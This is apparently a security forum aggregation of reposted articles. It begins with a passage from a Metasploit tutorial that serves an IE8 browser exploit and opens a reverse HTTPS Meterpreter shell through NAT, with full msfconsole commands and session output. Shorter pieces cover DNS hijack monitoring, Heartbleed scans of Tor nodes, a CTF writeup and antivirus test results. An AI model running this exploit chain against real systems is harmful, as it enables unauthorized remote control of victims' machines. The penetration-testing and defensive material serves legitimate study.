clone set up, make sure to update to the latest and greatest with "git pull". (A small bug, related with using Meterpreter behind NAT was just fixed a few hours ago, so it’s important to update to the latest version) The target is just a Windows XP SP3 box, but it doesn’t really matter what it is, as long as we can use a browser exploit to demonstrate how to use Meterpreter. I have installed Internet Explorer 8 from IECollection (download here: Utilu IE Collection - Utilu.com). I’ll be using this IE version because it’s outdated and pretty much vulnerable to most of the IE8 browser exploits out there. Set up forwarding on the attacker side If we ever want to be able to accept connections from the target, we will need to configure the attacker firewall/NAT to forward traffic on certain ports. The exact steps to do this will be very specific to the brand/model/type of router/firewall that you are using, so this is beyond the scope of this post. In general, the idea is to configure the router/firewall so traffic to the public IP address of the router, on ports 80 and 443, will be forwarded to 192.168.0.187 (which is the LAN IP of my attacker box). When setting up the router/firewall, make sure to check if port 80 and/or 443 are not used by the router/firewall (management interface, VPN endpoint, etc). We’ll use port 80 to serve the browser exploit and port 443 for the reverse Meterpreter connection. First, we need to verify that the forwarding works. On Kali, create a small html file and store it under /tmp root@krypto1:/# cd /tmp root@krypto1:/tmp# echo "It works" > test.html Next, make sure nothing is currently using port 80 or port 443 root@krypto1:/tmp# netstat -vantu | grep :80 root@krypto1:/tmp# netstat -vantu | grep :443 If you don’t see output to both commands, you should be good to go. If something is listed, you’ll need to find what process is using the port and kill the process. For port 80, you could check the processes that are taking control over the http port using the following lsof command: root@krypto1:/tmp# lsof -i | grep :http apache2 4634 root 4u IPv6 393366 0t0 TCP *:http (LISTEN) apache2 4642 www-data 4u IPv6 393366 0t0 TCP *:http (LISTEN) apache2 4643 www-data 4u IPv6 393366 0t0 TCP *:http (LISTEN) apache2 4644 www-data 4u IPv6 393366 0t0 TCP *:http (LISTEN) apache2 4645 www-data 4u IPv6 393366 0t0 TCP *:http (LISTEN) apache2 4646 www-data 4u IPv6 393366 0t0 TCP *:http (LISTEN) Just stop apache2 to free up the port: root@krypto1:/tmp# service apache2 stop Stopping web server: apache2 ... waiting . root@krypto1:/tmp# With all ports available, we’ll run a simple web server and serve the "test.html" page. From the folder that contains the test.html file, run this python command: root@krypto1:/tmp# python -m SimpleHTTPServer 80 Serving HTTP on 0.0.0.0 port 80 ... If you now connect to http://192.168.0.187/test.html from the Kali box itself, you should see the "It works" page and the The output on the Kali box should list the connection and show that the page was served with response 200 root@krypto1:/tmp# python -m SimpleHTTPServer 80 Serving HTTP on 0.0.0.0 port 80 ... 192.168.0.187 - - [04/Jan/2014 12:42:02] "GET /test.html HTTP/1.1" 200 - Perfect, this proves that the webserver works. On the target computer, connect to http://1.1.1.1/test.html (again, replace 1.1.1.1 with the public IP of the router/firewall on the attacker side) and you should get the same thing. If you don’t see the page, check that the forwarding is set up correctly. If this works for port 80, go back to the attacker box and terminate the python command using CTRL+C. Then launch the command again, this time using port 443: root@krypto1:/tmp# python -m SimpleHTTPServer 443 Serving HTTP on 0.0.0.0 port 443 ... Now access the webserver over port 443. Despite the fact that we are using 443 and that 443 is commonly associated with https (encrypted), our python handler is not using encryption. In other words, we still have to use http instead of https in the URL: root@krypto1:/tmp# python -m SimpleHTTPServer 443 Serving HTTP on 0.0.0.0 port 443 ... 192.168.0.187 - - [04/Jan/2014 12:47:44] "GET /test.html HTTP/1.1" 200 - 192.168.0.187 - - [04/Jan/2014 12:47:44] code 404, message File not found 192.168.0.187 - - [04/Jan/2014 12:47:44] "GET /favicon.ico HTTP/1.1" 404 - 192.168.0.187 - - [04/Jan/2014 12:47:44] code 404, message File not found 192.168.0.187 - - [04/Jan/2014 12:47:44] "GET /favicon.ico HTTP/1.1" 404 - (don’t worry about the 404 messages related with /favicon.ico – it’s safe to ignore them) If you can connect to http://1.1.1.1:443/test.html from the target computer, we know that the port forwarding is working correctly for both port 80 and 443. If this doesn’t work, there’s no point in proceeding, because anything else we try will fail. When everything works, close the python command to free up port 443 too. Metasploit configuration Browser exploit – meterpreter/reverse_https First of all, let’ set up Metasploit to serve the browser exploit and handle a reverse https Meterpreter connection. The idea is to trick the target into connecting to the exploit on port 80 and serve the meterpreter/reverse_https connection over port 443. Go to the metasploit-framework folder, open msfconsole (don’t forget the ./ if you want to be sure you’re running msfconsole from the current folder and not the version that was installed with Kali) and select an exploit. For the sake of this exercise, I’ll use ms13_069_caret.rb: root@krypto1:/tmp# cd /pentest/exploits/metasploit-framework/ (master) root@krypto1:/pentest/exploits/metasploit-framework# ./msfconsole , , / \ ((__---,,,---__)) (_) O O (_)_________ \ _ / |\ o_o \ M S F | \ \ _____ | * ||| WW||| ||| ||| =[ metasploit v4.9.0-dev [core:4.9 api:1.0] + -- --=[ 1248 exploits - 678 auxiliary - 199 post + -- --=[ 324 payloads - 32 encoders - 8 nops msf > use exploit/windows/browser/ms13_069_caret msf exploit(ms13_069_caret) > Show the options: msf exploit(ms13_069_caret) > show options Module options (exploit/windows/browser/ms13_069_caret): Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLCert no Path to a custom SSL certificate (default is randomly generated) SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) URIPATH no The URI to use for this exploit (default is random) Exploit target: Id Name -- ---- 0 IE 8 on Windows XP SP3 The exploit requires a SRVHOST and SRVPORT. These 2 variables will be used by Metasploit to determine where the webserver needs to bind to and listen on. The plan is to trick the target to connect to this webserver, using the public IP of our firewall/router, which will then forward the traffic to our Metasploit instance. We can't tell the Metasploit webserver to listen to the public IP of our router, because it won't be able to "bind" itself to that IP address. If we use 0.0.0.0, the Metasploit webserver will simply listen on all interfaces for incoming traffic. In other words, you can leave the SRVHOST to 0.0.0.0, or you can set it to the LAN IP of the Kali box itself (192.168.0.187 in this case). I'll just leave the default 0.0.0.0. Next, we need to change the port to 80, and we'll set the URIPATH to / (so we can predict what the URI will be, instead of letting Metasploit create a random URI): msf exploit(ms13_069_caret) > set SRVPORT 80 SRVPORT => 80 msf exploit(ms13_069_caret) > set URIPATH / URIPATH => / Next, let's select the meterpreter reverse_https payload for windows. If we run "show options" again, we'll see this: msf exploit(ms13_069_caret) > set payload windows/meterpreter/reverse_https payload => windows/meterpreter/reverse_https msf exploit(ms13_069_caret) > show options Module options (exploit/windows/browser/ms13_069_caret): Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT 80 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLCert no Path to a custom SSL certificate (default is randomly generated) SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) URIPATH / no The URI to use for this exploit (default is random) Payload options (windows/meterpreter/reverse_https): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh, thread, process, none LHOST yes The local listener hostname LPORT 443 yes The local listener port Exploit target: Id Name -- ---- 0 IE 8 on Windows XP SP3 msf exploit(ms13_069_caret) > The Module options (SRVHOST and SRVPORT) are set the way we want it. The Payload options require an LHOST and LPORT. Based on the output above, the LPORT is already set to 443. This is the port where the Meterpreter reverse connection will attempt to connect to. If it was not set to 443 already on your box, simply run "set LPORT 443" to make sure the Meterpreter handler will listen on port 443: msf exploit(ms13_069_caret) > set LPORT 443 LPORT => 443 Note: In any case, to keep things as easy as possible, try to use the same ports for a specific "service". That is, if you host the webserver on port 80 on the firewall, try to make sure to also forward traffic to port 80 on the attacker/Metasploit box, and host the exploit on port 80 in Metasploit. The same thing applies to the payload. If we serve the payload on port 443, make sure to use this port everywhere. LHOST serves 2 purposes : It indicates the IP address where the Meterpreter shellcode will have to connect back to (from the target, to the attacker). It tells Metasploit where to bind to when setting up the Meterpreter "handler". Since our attacker host is behind NAT, we have to use the public IP address of the router/firewall as LHOST. When the exploit is executed, this IP will be embedded in the shellcode and when the initial Meterpreter shellcode runs on the target, it will connect back to this IP address. The port forwarding on our router/firewall will then forward traffic to our LAN IP of the attacker host. For this reason, we need to set LHOST to 1.1.1.1 (the public IP of your attacker router/firewall) Using a public IP as LHOST also means that Metasploit will attempt to bind itself to that IP when setting up the Meterpreter handler. Since this IP belongs to the router/firewall and not to the Metasploit instance, this will obviously fail. The good thing is that Metasploit will automatically fall back to 0.0.0.0 and basically serve the Meterpreter handler on all local IPs on the attacker host, while remembering that LHOST was set to our public IP address. This is exactly what we need. Set LHOST to 1.1.1.1 msf exploit(ms13_069_caret) > set LHOST 1.1.1.1 LHOST => 1.1.1.1 If we don't really want the Meterpreter handler to fall back to 0.0.0.0, we can use one of the "advanced" options and tell it to listen on the LAN IP address: msf exploit(ms13_069_caret) > set ReverseListenerBindAddress 192.168.0.187 ReverseListenerBindAddress => 192.168.0.187 and then fire up the exploit: msf exploit(ms13_069_caret) > exploit [*] Exploit running as background job. [*] Started HTTPS reverse handler on https://192.168.0.187:443/ [*] Using URL: http://0.0.0.0:80/ [*] Local IP: http://192.168.0.187:80/ [*] Server started. The output shows us that http://0.0.0.0:80 (or http://192.168.0.187:80) is hosting the browser exploit. If the target connects to http://1.1.1.1, traffic will be forwarded to the Kali box on port 80 and serve the exploit. The HTTPS reverse handler is listening on 192.168.0.187, port 443. What we don’t see in the output is the fact that the actual Meterpreter shellcode contains IP address 1.1.1.1 to connect back to. That value is taken from the LHOST variable. If you didn’t use ReverseListenerBindAddress and you get something like the output below after running "exploit", then check the following check that the port is free to use make sure you are running the latest version of Metasploit set the ReverseListenerBindAddress to your local LAN IP or to 0.0.0.0 exit msfconsole and open it again. under certain scenario’s, you’ll notice that the bind doesn’t get properly cleaned up if you ran a session before. msf exploit(ms13_069_caret) > exploit [*] Exploit running as background job. [-] Exploit failed: Rex::AddressInUse The address is already in use (0.0.0.0:443). If we now use IE8 (from IECollection) on the target and connect to the public IP of our attacker router/firewall on port 80, we should see this: msf exploit(ms13_069_caret) > [*] 2.2.2.2 ms13_069_caret - Sending exploit... [*] 2.2.2.2 ms13_069_caret - Sending exploit... [*] 2.2.2.2:53893 Request received for /NtFT... [*] 2.2.2.2:53893 Staging connection for target /NtFT received... [*] Patched user-agent at offset 663128... [*] Patched transport at offset 662792... [*] Patched URL at offset 662856... [*] Patched Expiration Timeout at offset 663728... [*] Patched Communication Timeout at offset 663732... [*] Meterpreter session 1 opened (192.168.0.187:443 -> 2.2.2.2:53893) at 2014-01-05 09:24:26 +0100 [*] Session ID 1 (192.168.0.187:443 -> 2.2.2.2:53893) processing InitialAutoRunScript 'migrate -f' [*] Current server process: iexplore.exe (2952) [*] Spawning notepad.exe process to migrate to [+] Migrating to 500 [+] Successfully migrated to process msf exploit(ms13_069_caret) > sessions -i 1 [*] Starting interaction with 1... meterpreter > shell Process 592 created. Channel 1 created. Microsoft Windows XP [Version 5.1.2600] © Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\peter\Desktop> 2.2.2.2 is the public IP of the target. Metasploit is sending the payload when the target connects to port 80, exploits the browser and executes the initial meterpreter payload. This payload will download metsrv.dll (which gets patched by Metasploit first, so it would contain the attacker public IP and port), loads it into memory (using reflective load) and runs the code. When that is done, you get a full Meterpreter session. Life is good. So, in a nutshell, set the following variables and you should be good to go: SRVHOST : 0.0.0.0 SRVPORT : set to the port where you want to host the browser exploit LHOST : the attacker public IP LPORT : set to the port where you want to serve the Meterpreter handler ReverseListenerBindAddress : LAN IP (optional) If, for whatever reason, you also want to host the Meterpreter handler on another port than what the client will connect to, then you can use LPORT to specify where the target will connect back to, and use ReverseListenerBindPort to indicate where the handler needs to listen to. Obviously, you’ll need to make sure the port forwarding will connect to the right port on your attacker machine. © 2014, Corelan Team (corelanc0d3r). All rights reserved. Sursa: https://www.corelan.be/index.php/2014/01/04/metasploit-meterpreter-and-nat/

A chain is only as strong as its weakest link – DNS Hijack Monitoring Published December 29, 2013 | By Corelan Team (corelanc0d3r) It doesn’t really matter how much time your developers have spent writing secure code and how many layers of security you have implemented to protect your website from being hacked and defaced. Recent incidents have demonstrated that the bad guys will simply look for and find an easier way to hurt your business. Instead of going after vulnerabilities in the website itself, they’ll focus on a potentially weaker link in the system: the DNS registrar. All they have to do is "convince" the right person (via e-mail, fax, etc) or by guessing username/password in the management console for DNS, by hacking into a DNS hosting company, that an update to your public DNS records is legit. A few moments later, the internet won’t be looking at your website anymore. You could use tools to monitor the content of your websites & report back when significant changes are made, but as the content of websites often changes, you’ll find yourself updating your tools quite often. Perhaps an easier approach would be to also monitor the DNS records and report when an IP address has changed. Getting started I decided to hack a little python script together that allows you to do that. You can get a copy of the script at https://github.com/corelan/dnshjmon or simply clone the repository: root@krypto1:/dns# git clone https://github.com/corelan/dnshjmon.git Cloning into 'dnshjmon'... remote: Counting objects: 54, done. remote: Compressing objects: 100% (37/37), done. remote: Total 54 (delta 28), reused 43 (delta 17) Unpacking objects: 100% (54/54), done. root@krypto1:/dns# Setting up the configuration The script uses 2 configuration files: a file that contains the hostnames you want to monitor, and the valid IP (one, multiple, or even CIDR notations) a file that contains the configuration about how to send email reports DNS Config file This is a flat ascii file (dnshjmon_dns.conf) that contains the list with hostnames that need to be checked and the list with valid IPs for that hostname. hostname=ip You can specify multiple IP addresses and/or even use CIDR notation. Simply separate entries with a comma: hostname=127.0.0.1,192.168.0.1/25 If you want to exclude a certain IP, prefix it with a dash hostname=127.0.0.1,192.168.0.1/25,-192.168.0.5 You can, obviously, specify as many hostnames as you want. You can specify an alternative path for the dns configuration file using the -d argument. SMTP Config file This file (dnshjmon_smtp.conf) will be created the first time you run dnshjmon.py, using an interactive wizard. (master) root@krypto1:/dns/dnshjmon# python dnshjmon.py __ __ __ .--| |.-----..-----.| |--.|__|.--------..-----..-----. | _ || ||__ --|| || || || _ || | |_____||__|__||_____||__|__|| ||__|__|__||_____||__|__| |___| [ corelanc0d3r - www.corelan.be ] [+] Using dns config file /dns/dnshjmon/dnshjmon_dns.conf [-] Oops, email config file /dns/dnshjmon/dnshjmon_smtp.conf doesn't exist yet [+] Creating a new config file. > Enter smtp mail server IP or hostname: 127.0.0.1 > Enter mail server port (default: 25): > Enter 'From' email address: peter.ve@corelan.be > Enter 'To' email address: peter.ve@corelan.be > Enter mail server timeout (in seconds, default: 300): > Does server require authentication? (yes/no, default: no): > Does server require/support STARTTLS ? (yes/no, default: no): [+] Saved new config file You can specify an alternate path to the configuration file using the -s parameter. If you want to add additional mailserver configurations or change the existing one, simply edit the conf file. You can test if the mail configuration works correctly by using the -mail argument. By default, emails will be sent with high-priority and requesting a return-receipt. Can I use custom nameservers (other than the ones configured on the OS level) ? Sure you can, but you’ll need to install the python-dnspython library from www.dnspython.org. On Ubuntu / Kali, this is as easy as running apt-get install python-dnspython. On Windows, you need to extract the archive and run setup.py or, alternatively, just copy the ‘dns’ subfolder to c:\python27\lib\site-packages. When dnshjmon detects that the library is installed, it will expose a -n argument, which allows you to specify the full path to a flat file that contains the IP address or addresses (one IP per line) of the DNS server(s) you want to use for queries. Using the script After setting up the configuration files, all you have to do is schedule the script to run (every half an hour, for example). When a mismatch is found, an email will be sent. It may not be a bad idea to configure your monitoring box to use Google or OpenDNS for DNS resolution. Furthermore, if you run this script on a windows box, maybe create a little batch file that will also call ipconfig /flushdns prior to running the python script. It might be a good idea to run a git pull from time to time, as I may be adding new features some time in the future. If all goes well, the output (on screen) will look like this: (master) root@krypto1:/dns/dnshjmon# python dnshjmon.py _ __ __ .--| |.-----..-----.| |--.|__|.--------..-----..-----. | _ || ||__ --|| || || || _ || | |_____||__|__||_____||__|__|| ||__|__|__||_____||__|__| |___| [ corelanc0d3r - www.corelan.be ] [+] Using dns config file /dns/dnshjmon/dnshjmon_dns.conf [+] Using mail config file /dns/dnshjmon/dnshjmon_smtp.conf [+] Running DNS check [+] Using OS DNS configuration for queries Results: -------- 1. www.corelan.be - check OK? : true (['178.79.152.9']) [+] Done checking, tested 1 sites, reported 0 IP mismatches if an issue is found, you’ll see this: (master) root@krypto1:/dns/dnshjmon# python dnshjmon.py _ __ __ .--| |.-----..-----.| |--.|__|.--------..-----..-----. | _ || ||__ --|| || || || _ || | |_____||__|__||_____||__|__|| ||__|__|__||_____||__|__| |___| [ corelanc0d3r - www.corelan.be ] [+] Using dns config file /dns/dnshjmon/dnshjmon_dns.conf [+] Using mail config file /dns/dnshjmon/dnshjmon_smtp.conf [+] Running DNS check [+] Using OS DNS configuration for queries Results: -------- 1. www.corelan.be - check OK? : false (['178.79.152.9'] : Record manipulated?) [+] Done checking, tested 1 sites, reported 1 IP mismatches ************************************************** 1 DNS record(s) may have been manipulated: 20131231-09:43:26: www.corelan.be resolves to 178.79.152.9, but it should be ['178.79.152.8'] ************************************************** [+] Config file appears to contain 1 mail server definitions [+] Checking if 172.0.0.1:25 is reachable Yup, port is open [+] Connecting to 127.0.0.1 on port 25 [+] Connected [+] Sending email [+] Mail sent, disconnecting Suppose you want to use the google DNS server 8.8.8.8 instead of the OS DNS server configuration and you have installed python-dnspython, then simply create a file (nameservers.conf or something like that) and put 8.8.8.8 in that file. Tell dnshjmon to use that file and the output will look like this: (master) root@krypto1:/dns/dnshjmon# python dnshjmon.py -n nameservers.conf _ __ __ .--| |.-----..-----.| |--.|__|.--------..-----..-----. | _ || ||__ --|| || || || _ || | |_____||__|__||_____||__|__|| ||__|__|__||_____||__|__| |___| [ corelanc0d3r - www.corelan.be ] [+] Using dns config file /dns/dnshjmon/dnshjmon_dns.conf [+] Using mail config file /dns/dnshjmon/dnshjmon_smtp.conf [+] Running DNS check [+] Using 1 DNS server(s) for queries: ['8.8.8.8'] Results: -------- 1. www.corelan.be - check OK? : true (['178.79.152.9']) [+] Done checking, tested 1 sites, reported 0 IP mismatches The script was written and tested against python 2.7 and should run out of the box on Windows, Linux and Mac OS. Enjoy ! © 2013, Corelan Team (corelanc0d3r). All rights reserved. Sursa: https://www.corelan.be/index.php/2013/12/29/a-chain-is-only-as-strong-as-its-weakest-link-dns-hijack-monitoring/

Bsidesla 2013 - Ssd Data Evaporation @sambrowne Description: For More Information please visit : - BSidesLV Bsides Las Vegas 2013 Videos (Hacking Illustrated Series InfoSec Tutorial Videos) Sursa: Bsidesla 2013 - Ssd Data Evaporation @sambrowne

Bsidesla 2013 - Cookie Reuse Sam Bowne @sambrowne Description: For More Information please visit : - BSidesLV Bsides Las Vegas 2013 Videos (Hacking Illustrated Series InfoSec Tutorial Videos) Sursa: Bsidesla 2013 - Cookie Reuse Sam Bowne @sambrowne

Bsidesla 2013 - Gps Hacking @Recompiler Description: For More Information please visit : - BSidesLV Bsides Las Vegas 2013 Videos (Hacking Illustrated Series InfoSec Tutorial Videos) Sursa: Bsidesla 2013 - Gps Hacking @Recompiler

Thursday, April 17 2014[h=3]TOR Bleed[/h] Update 2: I scanned Tor starting Friday April 11th and ended Sunday April 13th. I stopped cause I got enough evidence on leaked plain text. I wasn't sure what to do with the data so I was sitting on it for a couple of days but than decided to just blog about it. Update: Tor doesn't have too many exitnodes, the nodes I was testing are Tor nodes in general not only exitnodes. Never the less I found a number of vulnerable exitnodes that leak plain text data. The Tor Project has started to black list vulnerable nodes. Tuesday April 7th I started my own investigations of the Heartbleed issue. In this blog post I want to talk about one of the things I've been looking into that is the effect heartbleed has on TOR. TOR heavily uses SSL to encrypt traffic between the various TOR nodes. TOR was obviously vulnerable as reported by the TOR project. For my investigation I pulled a list of about 5000 TOR nodes using dan.me.uk. Using one of the many proof-of-concept exploits I scanned the TOR nodes to determine if they are vulnerable. I found 1045 of the 5000 nodes to be vulnerable to the heartbleed bug, that is about 20%. I briefly checked the leaked memory to determine if plain text is leaked that is related to TOR user traffic. Yes, TOR exitnodes that are vulnerable to heartbleed leak plain text user traffic. You can find anything ranging from hostnames, downloaded web content, to session IDs, etc. The majority of the vulnerable TOR nodes are located in Germany, Russia, France, Netherlands, United Kingdom, and Japan. The TOR network has more than 5000 nodes so this is not a complete picture but it provides a good overview of the possible number of vulnerable exitnodes. The heartbleed bug basically allows any one to obtain traffic coming in and out of TOR exitnodes (given that the actual connection that is run over TOR is not encrypted itself). Of course a malicious party could run a TOR exitnode and inspect all the traffic that passes thru it, but this requires running a TOR node in the first place. Using the heartbleed bug anyone can query vulnerable exitnodes to obtain TOR exit traffic. There are a number of possible solutions for this problem. 1) update vulnerable TOR nodes (hopefully in progress), 2) create a blacklist of vulnerable TOR nodes and avoid them, 3) stop using TOR until all nodes are updated. Further Steps: Scan all TOR exitnodes to create a black list of vulnerable nodes so users can avoid them. Notes: One interesting thing I found is the large number of requests that seem to be originating from malware due to the domain names looking like the output of a DGA. Links: Heartbleed Heartbleed disclosure timeline: who knew what and when Sursa: Collin R. Mulliner

PlaidCTF writeup for Pwn-275 – Kappa (type confusion vuln) Hey folks, This is my last writeup for PlaidCTF! You can get a list of all my writeups here. Kappa is a 275-point pwnable level called Kappa, and the goal is to capture a bunch of Pokemon and make them battle each other! Ultimately, this issue came down to a type-confusion bug that let us read memory and call arbitrary locations. Let's see why! The setup When you run Kappa, you get a Pokemon interface: Thank you for helping test CTF plays Pokemon! Keep in mind that this is currently in alpha which means that we will only support one person playing at a time. You will be provided with several options once the game begins, as well as several hidden options for those true CTF Plays Pokemon fans . We hope to expand this in the coming months to include even more features! Enjoy! Choose an Option: 1. Go into the Grass 2. Heal your Pokemon 3. Inpect your Pokemon 4. Release a Pokemon 5. Change Pokemon artwork If you go into the grass, you can capture a Pokemon: You walk into the tall grass! You failed to find any Pokemon! Choose an Option: 1. Go into the Grass 2. Heal your Pokemon 3. Inpect your Pokemon 4. Release a Pokemon 5. Change Pokemon artwork You walk into the tall grass! A wild Kakuna appears! Choose an Option: 1. Attack 2. Throw Pokeball 3. Run You throw a Pokeball! You successfully caught Kakuna! What would you like to name this Pokemon? POKEMON1 Choose an Option: 1. Go into the Grass 2. Heal your Pokemon 3. Inpect your Pokemon 4. Release a Pokemon 5. Change Pokemon artwork ...And so on. Articol complet: https://blog.skullsecurity.org/2014/plaidctf-writeup-for-pwn-275-kappa-type-confusion-vuln

[TABLE=width: 600] [TR] [TD=align: center][TABLE=width: 100%] [TR] [TD] Real-World Protection Test Released File-Detection Test Released Firewall Review [/TD] [/TR] [/TABLE] [/TD] [/TR] [TR] [TD=align: center][TABLE=width: 100%] [TR] [TD] [/TD] [/TR] [TR] [TD]Dear <<First Name>> <<Last Name>>! We released the results of our latest Real-World Protection Test for March 2014. These show that in a real-world digital environment with ever-increasing malicious programs, keeping computers secure may prove to be a challenge not everybody is up to. We nearly tripled the test cases in the Real-World Protection Test to show more accurate results. A total of 24 antivirus products (using all their protection features) were included in the Real-World Protection Test of March. Tests of some additional products have been commissioned by IT publications, and although they are not included in this report, for some of them (G DATA, Symantec, ...) the results will not be inlcuded the reports, for some of them the results will be given along our half year report on the 15th of July 2014. None of the products were able to reach a 100% protection rate against widespread malicious samples used in this test. It is important to mention that the latter reflect only the March landscape of the cyberspace and, as the Internet environment changes dynamically from month to month, products might perform differently in the next months. Statistical Accuracy More than 125,000 test cases in the File Detection Test and around 1260 test cases in the Real World Test for statistical accuracy! Please have a look at the PDF why it is so important to use a large testset. Currently, AV-Comparatives' Whole-Product Dynamic Real-World Protection Test is the most comprehensive and complex test available when it comes to evaluating the real-life protection capabilities of antivirus software. Simply put, the test framework replicates the scenario of an everyday user in an everyday online environment – the typical situation that most of us experience when using a computer with an Internet connection. It creates a realistic setting where the antivirus products must show their ability to thoroughly protect the user’s computer when surfing the web. This year's Real-World Protection Tests are being run on Microsoft Windows 7 Home Premium 64-Bit SP1. Additionally, but not competing, the out-of-box protection of Microsoft Security Essentials (included with Windows 7) and Windows Defender (Windows 8) is evaluated. As well as the test workstations for the competing third-party security programs, two additonal, fully updated workstations are run: one with Windows 7 Home Premium 64-bit SP1 with Microsoft Security Essentials installed, and another with Windows 8 64-bit running the integrated Windows Defender. In the current test (March), both the out-of-box solutions achieved a 88.4% protection score. File-Detection Test We also released the file detection test of March 2014 - please find the results here: http://www.av-comparatives.org/comparativesreviews/detection-test Tests of some additional products have been commissioned by IT publications, and although they are not included in this report, for some of them (G DATA, Symantec, ...). results can be requested using the following link or can be read in the printed magazines. https://itsecurity.zendesk.com/account/dropboxes/20300746#/dropbox/tickets/new Firewall Review For the first time we did a very basic Firewall review, which was orderd by Chip. Two products are tested exclusively for Chip and their results can be seen on the Chip website. A link is given in the report. AV-Comparatives Firewall Reviews » AV-Comparatives [/TD] [/TR] [/TABLE] [/TD] [/TR] [/TABLE] Sursa: New Anti-Virus Test Results released - March 2014

[h=1]Heartbleed Attack Bypasses Multifactor Authentication, Hijacks VPN Sessions[/h] byRobert Westervelt on April 18, 2014, 2:50 pm EDT Attackers have developed a way to exploit Heartbleed in an SSL VPN, bypassing multifactor authentication to gain remote access to an organization's internal network, according to researchers at security firm Mandiant, the consulting and incident response arm of network security vendor FireEye. In a blog post Friday describing the latest Hearbleed attack, Mandiant said it took place April 8 following the disclosure of the OpenSSL vulnerability. An attacker exploited the weakness in a VPN appliance and hijacked multiple active user sessions, said Christopher Glyer and Chris DiGiamo, two Mandiant researchers analyzing the risk. "The attack bypassed both the organization's multifactor authentication and the VPN client software used to validate that systems connecting to the VPN were owned by the organization and running specific security software," the researchers said. The researchers said the attack involved sending repeated malformed heartbeat requests to the Web server running on the VPN device. The attacker was able to obtain active session tokens for authenticated users. Gaining the tokens made the attacker appear legitimate to the VPN appliance and gave the attacker the ability to move laterally to more sensitive systems on the network, according to the researchers. Solution providers tell CRN that there has been significant effort undertaken in scanning and identifying Web servers that are open to the Heartbleed bug. Other network devices, including SSL VPN appliances, could have fallen lower on the priority list at some organizations, they said. The attack highlights a serious issue that needs to be quickly assessed by IT teams, said Justin Kallhoff, CEO of Lincoln, Neb.-based network security systems integrator Infogressive. "It's a potential complete nightmare for anyone with a commercial SSL VPN that has the OpenSSL vulnerability," Kallhoff said. "It would open up enterprises of many sizes to a non-authenticated attacker getting logged into the SSL VPN, and bypassing multifactor is an even bigger problem." Attacks have been difficult for IT teams to detect. According to Mandiant, the VPN exploit method was identified and confirmed by analyzing IDS signatures and VPN logs. The IDS appliance alerted more than 17,000 times to the attack. Mandiant is recommending organizations check whether their VPN appliance software contains the Heartbleed flaw, implement IDS signatures to identify attacks, and look back on VPN logs to identify repeated IP address changes during a session. Look for "addresses that are in different network blocks, geographic locations, from different service providers, or rapidly within a short time period," Mandiant said. Successful attacks against vulnerable Web servers have been well documented. It took attackers about nine hours to exploit Heartbleed and get private SSL keys, according to a test conducted last week by website security vendor CloudFlare. Meanwhile, the Canada Revenue Agency is dealing with the fallout of a Heartbleed attack that exposed information on 900 Canadian taxpayers. It was the first serious data breach associated with the OpenSSL vulnerability. Sursa: Mandiant Researchers: Heartbleed Attack Bypasses Multifactor Authentication, Hijacks VPN Sessions - Page: 1 | CRN